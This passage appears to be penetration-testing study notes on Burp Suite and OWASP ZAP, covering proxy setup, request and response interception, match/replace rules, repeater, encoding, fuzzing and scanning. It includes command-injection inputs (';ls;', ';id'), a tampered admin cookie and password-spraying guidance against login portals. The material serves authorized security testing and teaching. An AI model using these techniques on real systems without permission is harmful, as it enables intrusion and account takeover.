- Dark theme: Burp β Settings β User interface β Display β set Theme to Dark.
OWASP ZAP
- Download: ZAP Download Page β installers per OS or cross-platform JAR.
- Launch: From terminal run
zaproxy, or from the application menu. JAR:java -jar <path/to/zap.jar>(or double-click). - First run: When asked about persisting the session, choose not to persist for a temporary session (or pick timestamp/name if you need to save). Then continue to proxy setup.
- Dark theme: Tools β Options β Display β set Look and Feel to Flat Dark.
Proxy setup
Concept (tool-agnostic):
Use the tool as a web proxy so all browser (or app) traffic goes through it. You can inspect requests/responses, intercept and modify them, and replay them with changes to see how the app behaves. Either use the toolβs pre-configured browser (proxy + CA cert already set) or configure your own browser (e.g. Firefox) to use the proxy and install the toolβs CA certificate so HTTPS works without repeated βacceptβ prompts.Pre-configured browser
Fastest option: proxy and CA are already set; traffic is routed automatically.
Burp Suite
Proxy β Intercept β click Open browser. Burpβs embedded browser opens with traffic routed through Burp.OWASP ZAP
Click the Firefox icon at the end of the top bar. Opens the browser chosen in the Quick Start tab, pre-configured to proxy through ZAP.Manual proxy (e.g. Firefox)
Both tools listen on port 8080 by default. Use the same port in the browser. If the port is in use, the proxy will not start (youβll see an error).
- Change listening port:
- Burp: Proxy β Proxy settings β Proxy listeners
- ZAP: Tools β Options β Network β Local Servers/Proxies
- Firefox: Set proxy in Preferences to
127.0.0.1and the chosen port, or use FoxyProxy (e.g. on PwnBox itβs pre-installed): FoxyProxy icon β Options β Add β IP127.0.0.1, port8080, name e.g. Burp or ZAP β Save. Then use the FoxyProxy icon to switch to Burp/ZAP. (FoxyProxy can be installed from the Firefox add-ons page.)
Installing the CA certificate
Required for HTTPS to work cleanly through the proxy (otherwise traffic may fail or youβll have to accept warnings repeatedly).
Burp Suite
With Burp set as the proxy in the browser, go to http://burp and click CA Certificate to download it.OWASP ZAP
Tools β Options β Network β Server Certificates β Save to export the CA cert (or Generate to create a new one), then use the saved file.Firefox (install cert):
Open about:preferences#privacy β scroll down β View Certificates β Authorities tab β Import β select the downloaded CA file β check Trust this CA to identify websites and Trust this CA to identify email users β OK.After proxy + CA are set, all Firefox traffic will go through the web proxy.
Intercepting and manipulating web requests
Concept (tool-agnostic):
With the proxy running, you can intercept HTTP requests so they pause in the tool instead of going straight to the server. You can inspect and edit the request (headers, parameters, body), then forward it. The server sees your modified request; the response helps you test for issues the UI might block (e.g. front-end validation). Use this for testing SQL injection, command injection, upload bypass, authentication bypass, XSS, XXE, error handling, deserialization, and similar web vulnerabilities.
Example: A form may only allow digits in an “IP” field via JavaScript. By intercepting thePOST, you can change e.g.ip=1toip=;ls;and forward to test for command injection if the backend doesn’t validate.Intercepting requests
Burp Suite
Proxy β Intercept. Intercept is on by default (button shows “Intercept is on”). Click the button to toggle on/off. With intercept on, open the pre-configured browser and load the target; the request appears in Burp. Use Forward to send it. If multiple requests are queued (e.g. other Firefox traffic), keep clicking Forward until you reach the target request.OWASP ZAP
Intercept is off by default (toolbar button is green = traffic passes). Click the button to toggle, or use Ctrl+B. With intercept on, load the target in the pre-configured browser; the request appears in the top-right pane. Click Step (next to the red break button) to forward one request.
HUD (Heads Up Display): Click the HUD button at the end of the top menu bar to enable in-browser controls. In the HUD’s left pane, the second button from the top turns request interception on. When a request is intercepted, use Step (one request, then break again) or Continue (forward this and let the rest through). Step is for inspecting each request; Continue when you only care about one. Note: Some browser versions may not support the HUD well. First-time ZAP browser use may show a HUD tutorial (or configuration β Take the HUD tutorial).Manipulating then forwarding
Edit the intercepted request in the request pane (method, URL, headers, body). Change parameters, add payloads, etc. Then Forward (Burp) or Step / Continue (ZAP) to send it. Check the response in the browser or in the tool to see how the app handled your input.
Intercepting responses
Concept (tool-agnostic):
You can intercept HTTP responses before they reach the browser and edit the HTML/headers. Use this to change how the page looks or behaves: enable disabled fields, show hidden fields, changetype="number"totype="text", increasemaxlength, etc. That can let you test from the browser without having to send every payload via an intercepted request. For simple cases (just enable disabled or unhide hidden form fields), both tools can do it automatically so you donβt have to intercept and edit by hand.Enabling response interception
Burp Suite
Proxy β Proxy settings β under Response interception rules enable Intercept Response (and Update Content-Length if needed). With request intercept on, do a full refresh in the browser (e.g. Ctrl+Shift+R); forward the request in Burp, then the response is intercepted. Edit the response (e.g. changetype="number"totype="text",maxlength="3"tomaxlength="100"), then Forward. The browser receives your modified response.
Automatic unhide: Proxy β Proxy settings β Response modification rules β enable e.g. Unhide hidden form fields so hidden/disabled fields are shown without manually intercepting.OWASP ZAP
With request intercept on, click Step to send the request; ZAP then intercepts the response. Edit the response in the pane, then Continue to send it to the browser.
HUD β enable/show without intercepting: In the HUD left pane, the third button (light bulb) is Show/Enable: it enables disabled inputs and shows hidden fields in the current page without intercepting the response or refreshing. Use it when you only need to unlock fields, not edit HTML by hand.
HUD β HTML comments: In the HUD left pane click + β Comments to add the Comments control. It shows indicators where HTML comments are; hover to see the comment content (useful for dev notes or hidden hints).Tip: Use a full page refresh (Ctrl+Shift+R in the browser) when testing so you get a clean request/response cycle.
Automatic modification
Concept (tool-agnostic):
Define match/replace rules so the proxy automatically changes all outgoing requests or all incoming responses without intercepting each one. Use for: replacing headers (e.g. User-Agent to bypass filters), changing response HTML on every load (e.g.type="number"βtype="text",maxlength="3"βmaxlength="100"), or injecting payloads in request bodies. Rules can use plain text or regex; you choose request header/body or response header/body.Automatic request modification
Example: Replace the
User-Agentheader with a custom value (e.g. to bypass User-Agent filters).Burp Suite
Proxy β Proxy settings β Match and Replace (or HTTP match and replace rules) β Add.- Type: Request header
- Match:
^User-Agent.*$(regex for the whole User-Agent line) - Replace:
User-Agent: HackTheBox Agent 1.0 - Regex match: True
Rule is applied to all requests. Verify by intercepting a request and checking the header.
OWASP ZAP
Open Replacer: Ctrl+R or Tools β Options β Replacer (or Replacer in the options menu). Add a rule:- Description: e.g. HTB User-Agent
- Match Type: Request Header (will add if not present) β or Request Header String for regex
- Match String:
User-Agent(or pick from dropdown; use regex in the string if Match Type is Request Header String) - Replacement String:
HackTheBox Agent 1.0 - Enable: True
Initiators tab: choose where the rule applies (default: all HTTP(S) messages). Verify with Ctrl+B (intercept on), then visit a page and check the request.
Automatic response modification
Example: Always change
type="number"totype="text"andmaxlength="3"tomaxlength="100"in responses so the change persists across refreshes without manually intercepting.Burp Suite
Proxy β Proxy settings β Match and Replace β Add.- Type: Response body
- Match:
type="number" - Replace:
type="text" - Regex match: False
Add a second rule: Match
maxlength="3", Replacemaxlength="100", Regex false. Full refresh (Ctrl+Shift+R) in the browser to see the updated page; the field now accepts any input on every load.OWASP ZAP
Replacer (Ctrl+R) β Add two rules:- Match Type: Response Body String. Match Regex: False. Match String:
type="number". Replacement String:type="text". Enable: True. - Match Type: Response Body String. Match Regex: False. Match String:
maxlength="3". Replacement String:maxlength="100". Enable: True.
Refresh the page to verify. You can also add request-body rules (e.g. replace a parameter value with a payload like
;ls;when submitting a specific form) by matching the request body and setting the replacement; use Initiators in ZAP to limit which messages get the rule if needed.Repeating requests
Concept (tool-agnostic):
Request repeating lets you resend any request that has already gone through the proxy. You edit it (e.g. change a parameter or payload), send it from the tool, and see the response thereβno need to intercept again. Use this for repetitive testing (e.g. trying many commands or payloads). Both tools keep a history of requests; you pick one, send it to a repeater / request editor, modify, and Send.Proxy / HTTP history
Burp Suite
Proxy β HTTP History. Lists all requests that passed through the proxy; use filters and sorting to find the one you want. Click a request to see full request and response. If the request was edited during intercept, the pane header shows Original Request; switch to Edited Request to see what was actually sent.
Note: Proxy β WebSockets history for WebSocket traffic (advanced use).OWASP ZAP
History tab at the bottom (main UI), or in the HUD the bottom History pane. Filters and sorting available. Click a request to view details. ZAP shows the final/modified request only (no separate original vs edited view like Burp).
Note: WebSockets history is available for async/WebSocket connections.Repeating (Repeater / Request Editor)
Burp Suite
With the request selected in HTTP History (or elsewhere), Ctrl+R sends it to the Repeater tab. Ctrl+Shift+R switches to the Repeater tab. In Repeater: edit the request (headers, body, etc.), click Send; the response appears in the response pane. Right-click the request β Change Request Method to switch between POST/GET without rewriting the whole request.OWASP ZAP
Right-click the request in History β Open/Resend with Request Editor. The Request Editor window opens; edit the request, then click Send to get the response in the same window. Use the Method dropdown to change HTTP method. Use the display/layout buttons to arrange request and response (tabs vs side-by-side, etc.).
HUD: In the pre-configured browser, click the request in the bottom History pane β Request Editor appears. Replay in Console shows the response in the HUD; Replay in Browser renders it in the browser. In all cases (Burp Repeater, ZAP Request Editor, ZAP HUD) you can edit then Send to resend with changes.Tip: Request bodies are often URL-encoded; keep encoding in mind when editing (e.g.
%3Bfor;). The next section covers this in more detail.Encoding / decoding
Concept (tool-agnostic):
When you modify and send custom HTTP requests, encoding and decoding matter. URL encoding ensures the server parses data correctly: characters like spaces (can end request data),&(parameter delimiter), and#(fragment) must be encoded. Applications also use other encodings (HTML, Unicode, Base64, ASCII hex); you need to decode to inspect data (e.g. cookies, tokens) and encode payloads in the format the server expects. Both tools have built-in encoders/decoders so you can work quickly without leaving the proxy.URL encoding
Burp Suite (Repeater): Select the text β right-click β Convert Selection β URL β URL-encode key characters, or Ctrl+U. You can enable URL-encode as you type via right-click so input is encoded automatically. Other options: Full URL-encoding, Unicode URL encoding (for many special characters).
OWASP ZAP: Request data is automatically URL-encoded before send (you may not see it in the editor). For manual control or other encodings, use the Encoder/Decoder/Hash tool (see below).
Decoder / Encoder tool
Burp Suite
Decoder tab: enter text, choose Decode as or Encode as (e.g. Base64, HTML, Unicode, ASCII hex). The output pane can be passed through another encoder/decoderβselect the method in the output area to chain. Burp Inspector (in Proxy, Repeater, etc.) also does encoding/decoding inline on requests and responses.OWASP ZAP
Encoder/Decoder/Hash: Ctrl+E. Decode tab: paste input; ZAP can try multiple decoders. Encode (or same tool): choose encoding, get output. Use Add New Tab to build custom tabs with multiple encoders/decoders. To chain (e.g. decode then encode with another method), copy the output and paste into the input field.Example: Base64 cookie
eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=decodes to{"username":"guest", "is_admin":false}. Edit toadmin/true, re-encode as Base64, then paste the new string into the request in Repeater or Request Editor to test privilege changes. Same idea applies to any encoding (HTML, Unicode, etc.) for inspection and payload crafting.Proxying other tools
Concept (tool-agnostic):
You can route command-line tools and thick clients through the web proxy so their HTTP(S) traffic is visible and editable. Configure each tool to use the proxy (e.g.http://127.0.0.1:8080); methods vary by tool. Then you get full proxy features: intercept, history, repeat, modify. Use this when you need to see or change what a script or app is sending. Note: Proxying usually slows tools downβonly enable it when you need to inspect or manipulate their requests.Proxychains (Linux)
Proxychains sends traffic from any CLI tool through a proxy. Easiest way to proxy arbitrary commands.
- Edit
/etc/proxychains.conf: comment out the default proxy line (e.g.#socks4 127.0.0.1 9050) and add:http 127.0.0.1 8080 - Run the command via proxychains. Use
-qfor quiet mode (less console noise):The request appears in the web proxy (Burp or ZAP) like browser traffic. Works with any HTTP(S)-using CLI tool.proxychains -q curl http://SERVER_IP:PORT
Metasploit
In msfconsole, set the proxy for modules with
set PROXIES:msfconsole msf6 > use auxiliary/scanner/http/robots_txt msf6 auxiliary(scanner/http/robots_txt) > set PROXIES HTTP:127.0.0.1:8080 msf6 auxiliary(scanner/http/robots_txt) > set RHOST SERVER_IP msf6 auxiliary(scanner/http/robots_txt) > set RPORT PORT msf6 auxiliary(scanner/http/robots_txt) > runRequests from the module go through the proxy; check Proxy β HTTP History (Burp) or History (ZAP) to inspect them. Same approach for other scanners, exploits, and modules that make HTTP requests.
Other tools and thick clients
For other tools, scripts, or GUI apps: find how to set an HTTP proxy (often an option, env var, or config file) and point it at your proxy (e.g.
127.0.0.1:8080). Then you can examine, repeat, and modify their requests from the proxy as with browser traffic.Web fuzzers
Concept (tool-agnostic):
Built-in web fuzzers handle fuzzing, enumeration, and brute-forcing (directories, subdomains, parameters, parameter values, etc.) and can replace or complement CLI tools (e.g. ffuf, gobuster, wfuzz, dirbuster). You send a request to the fuzzer, mark one or more payload positions, choose a wordlist and options, then run the attack and inspect results (status, length, grep matches). Use for directory discovery, login brute-force, parameter fuzzing, password spraying (e.g. AD, OWA, VPN portals), and similar tasks.Burp Intruder
Burpβs fuzzer is Intruder. Community edition is throttled (about 1 request/second); use for short wordlists. Pro has no throttle and more features. Intruder docs; payload types.
Send request to Intruder: From Proxy history (or elsewhere), right-click the request β Send to Intruder, or Ctrl+I. Switch to Intruder tab: Ctrl+Shift+I. The Target box shows host/port from the request.
Positions: Define where the wordlist is inserted. Wrap the placeholder with Β§ (e.g.
Β§DIRECTORYΒ§) or select text and click Add Β§. Example for directory fuzzing:GET /Β§DIRECTORYΒ§/β existing paths return 200, others 404. Leave the two blank lines at the end of the request. Attack type (e.g. Sniper = one position, Cluster bomb = multiple positions) affects how many payload sets you get.Payloads tab:
- Payload set & type: Choose which position (1, 2, β¦). Payload type: e.g. Simple list (wordlist, one line per payload), Runtime file (load wordlist line-by-line, better for huge lists), Character substitution, or others. For directory fuzzing, Simple list is typical.
- Payload configuration: For Simple list: Load a file (e.g.
/usr/share/seclists/Discovery/Web-Content/common.txt) or Add items. You can combine multiple lists. Pro: Add from list for built-in wordlists. Tip: Very large wordlists β use Runtime file to avoid loading everything into memory. - Payload processing: Add rules (e.g. add suffix, Skip if matches regex). Example: skip lines starting with
.using regex^\..*$. - Payload encoding: Usually leave URL-encode enabled so special characters are encoded.
Payload options (Intruder): Payload types reference.
Settings tab: Configure Grep - Match to flag responses containing a string (e.g.
200 OK). Clear existing rules, Add200 OK, and disable Exclude HTTP headers if you want to match the status line. Grep - Extract can pull specific parts of responses. Set Number of retries / Pause before retry if needed. Resource pool (right-hand bar) controls how much network Intruder uses for large attacks.Attack: Click Start attack. Results table: sort by the grep column (e.g. 200 OK), Status, or Length to find hits (e.g.
/admin/with 200). Use Intruder for directory fuzzing, parameter/value fuzzing, brute-force, and password spraying against AD-authenticated apps (OWA, VPN, RDS, Citrix, etc.). ZAPβs fuzzer (below) has no speed throttle.ZAP Fuzzer
ZAP Fuzzer is ZAPβs built-in fuzzer. It has fewer features than Burp Intruder but does not throttle request speed, so it is often better than free Burp Intruder for large wordlists. Use it for directory fuzzing, parameter fuzzing, and similar attacks.
Start a fuzz: Capture a request (e.g. visit
http://SERVER_IP:PORT/test/so the path contains the placeholder). In History, right-click the request β Attack β Fuzz. The Fuzzer window opens with the request on the left and Fuzz Locations on the right.Locations: Like Intruder payload positions. Select the word you want to replace (e.g.
testin the path) and click Add. A green marker is placed and the Payloads configuration opens. You can add multiple locations.Payloads: Click Add and choose a payload type. Examples:
- File β load a wordlist from a file.
- File Fuzzers β use built-in wordlists (e.g. dirbuster β directory-list-1.0.txt). More lists available via ZAP Marketplace.
- Numberzz β generate number sequences with custom step.
Processors: Optional processing for each payload. Add a processor; types include Base64 Decode/Encode, MD5, Prefix String, Postfix String, SHA-1/256/512, URL Decode/Encode, Script (custom). For directory fuzzing, add URL Encode so special characters donβt break the request. Use Generate Preview to see the final payload in context, then Add and Ok.
Options: Set Concurrent Scanning Threads per Scan (e.g. 20) for speed; balance with CPU and server load. Depth first β try all payloads at one position before moving to the next (e.g. all words for one user). Breadth first β try the first word on all positions, then the next word (e.g. one password for all users). Configure retries, max errors, redirects as needed.
Start: Click Start Fuzzer. In the results table, sort by Response code (e.g. 200) to find hits. Click a row to view request/response. Size Resp. Body can indicate different pages; RTT (round-trip time) matters for time-based attacks (e.g. time-based SQLi).
Web scanners
Concept (tool-agnostic):
Web proxy tools often include scanners that combine a crawler (follow links and forms to map the site), passive scanning (analyze already-seen traffic for issues without sending new requests), and active scanning (send probes to confirm and find vulnerabilities). Define scope (in/out of scope) so the scanner only targets allowed URLs. Use scan results and reports as supporting evidence; never substitute a raw tool report for a proper client deliverable.Burp Scanner (Pro only)
Burp Scanner is a Pro-only feature (not in Community edition). It uses a Crawler to build the site structure and Scanner for passive and active vulnerability checks.
Target scope
- Start a scan: (1) From Proxy β HTTP History: right-click a request β Scan (configure) or Passive scan / Active scan (defaults). (2) Dashboard β New Scan for custom target set. (3) Use scope so only in-scope items are scanned.
- Scope: Target β Site map lists everything Burp has seen. Right-click an item β Add to scope (or Remove from scope). Target β Scope shows include/exclude rules; use Use advanced scope control for regex. You can restrict Burp to in-scope only to save resources. When you add the first scope item, Burp may ask whether to limit features to in-scope only.
Crawler
- Dashboard β New Scan. Two modes: Crawl (map only) or Crawl and Audit (crawl then scan). Crawler follows links and forms; it does not discover unreferenced paths (use Intruder or Content Discovery, then add to scope).
- Scan configuration: New for custom (speed, limits, login behaviour) or Select from library (e.g. Crawl strategy - fastest). Application login: add credentials and/or record a manual login in the built-in browser so the crawler can stay authenticated. Ok to start. Progress under Dashboard β Tasks; View details or the gear icon to adjust. When finished, Target β Site map shows the updated map.
Passive scanner
- Analyzes existing requests/responses only (no new requests). Flags possible issues (e.g. missing security headers, DOM XSS). Each finding has a confidence (e.g. Certain, Firm). Right-click target in Site map or a request in Proxy history β Do passive scan / Passively scan this target. Task appears in Dashboard. View details β Issue activity (or the Issue activity pane on Dashboard) to see findings. Prioritise High severity and Certain/Firm confidence; for sensitive apps, review all severities.
Active scanner
- Crawl and Audit in New Scan runs: (1) Crawl + discovery (like a fuzzer) for pages, (2) Passive scan on discovered content, (3) Active checks to verify passive findings, (4) JavaScript analysis, (5) Fuzzing of parameters for XSS, command injection, SQLi, etc. Frequently updated by PortSwigger.
- Start: right-click request β Do active scan, or New Scan β Crawl and Audit. Set Crawl config (as above) and Audit config: what to check, insertion points; Select from library e.g. Audit checks - critical issues only. Add login if needed. Ok to run. Progress in Dashboard β Tasks; Logger tab shows requests made by the scanner. When done, filter Issue activity by severity (e.g. High) and confidence (e.g. Certain/Firm). Click an issue for the advisory, request/response, and remediation notes.
Reporting
- Target β Site map β right-click the host β Issue β Report issues for this host. Choose export format and what to include. The report summarizes by severity/confidence and can include PoC and remediation. Use as appendix or supplementary data, not as the final client report; always produce a proper written deliverable and use tool output as support.
ZAP Scanner
ZAP includes Spider, passive scanning, and active scanning; all run in the free version. Scope defines which URLs are included in scans and can be customized for multiple sites.
Spider
- Start: In History, right-click a request β Attack β Spider. Or in the HUD (pre-configured browser): open the target page, then click the second button on the right pane (Spider Start) and confirm. If the site is not in scope, ZAP may ask to add it (choose Yes). Scope is the set of URLs ZAP will crawl/scan; you can add multiple targets. Note: Some browser versions may not support the HUD fully.
- Spider follows links and validates them (similar to Burp Crawler). Progress: HUD Spider button or main ZAP UI (often switches to the Spider tab). When finished: Sites tab in the main UI, or HUD first button on the right pane (Sites Tree) for an expandable tree of discovered URLs and directories.
- Ajax Spider: Third button on the right pane. Discovers links loaded via JavaScript/AJAX. Run after the normal Spider for better coverage; it can find more URLs but takes longer.
Passive scanner
- Runs automatically on every response (e.g. while Spider runs or as you browse). Identifies potential issues from source (e.g. missing security headers, DOM-based XSS). Alerts can appear before you run an Active Scan. In the HUD: left pane = alerts for the current page, right pane = all alerts for the application. In the main UI: Alerts tab lists all findings; click an alert for details and the URLs where it was seen.
Active scanner
- Click Active Scan on the right pane (or equivalent in main UI). Scans all URLs in the site tree. If you have not run the Spider yet, ZAP runs it first to build the tree. Progress is shown in the HUD and in the main ZAP UI; alerts increase as the scan runs. The Active Scanner sends many probes against pages and parameters (XSS, command injection, SQLi, etc.) and takes longer. When done: filter by severity (e.g. High for issues that may lead to compromise). Click an alert for description, attack example, and evidence; click the URL to see the request/response and use Replay in Console or Replay in Browser to reproduce.
Reporting
- Report β Generate HTML Report (top bar). Choose save location; reports can also be exported as XML or Markdown. Open in a browser to review. Use as a log or supplement for engagements, not as the sole client deliverable.
Extensions / add-ons
Concept (tool-agnostic):
Both tools support extensions (Burp) or add-ons (ZAP) from the community. They can act on captured requests, add features (e.g. decoding, beautifying, new scan checks), or provide extra wordlists and payloads. Install only what you need; some extensions have dependencies (e.g. Jython) that must be installed on your system first.Burp: BApp Store
- Extender tab β BApp Store sub-tab. Browse extensions; sort by Popularity. Some are Pro-only; most are available to all users.
- Click an extension to install it. After install, a new tab or menu item may appear. Use the extensionβs documentation in the BApp Store or its GitHub page for usage. Some extensions require Jython (or other runtimes) to be installed on your machine (Linux/macOS/Windows) before they can run.
- Example: Decoder Improved β adds a tab with more encoders/decoders and hashing (e.g. Hash With β MD5). Use like the built-in Decoder with extra options.
- Examples of useful extensions: .NET Beautifier, J2EEScan, Software Version Reporter, Active Scan++, AWS Security Checks, Backslash Powered Scanner, Wsdler, Java Deserialization Scanner, C02 (cloud storage tester), CMS Scanner, Error Message Checks, Detect Dynamic JS, Headers Analyzer, HTML5 Auditor, PHP Object Injection Check, JavaScript Security, Retire.JS, CSP Auditor, Random IP Address Header, Autorize, CSRF Scanner, JS Link Finder. Browse the store for more.
ZAP: Marketplace
- Click Manage Add-ons (toolbar) β Marketplace tab. Add-ons can be Release (stable) or Beta/Alpha (may be unstable).
- Install add-ons to add features or data. Example: FuzzDB Files and FuzzDB Offensive add wordlists for the ZAP Fuzzer. In the Fuzzer, choose payload type File Fuzzers β e.g. fuzzdb β attack β os-cmd-execution (e.g.
command_execution-unix.txt) for command-injection payloads. Run the fuzzer to test with many payloads (e.g.;id,/usr/bin/id); useful when testing WAF-protected or strict applications. Try other Marketplace add-ons for scanners, scripts, and extra payloads.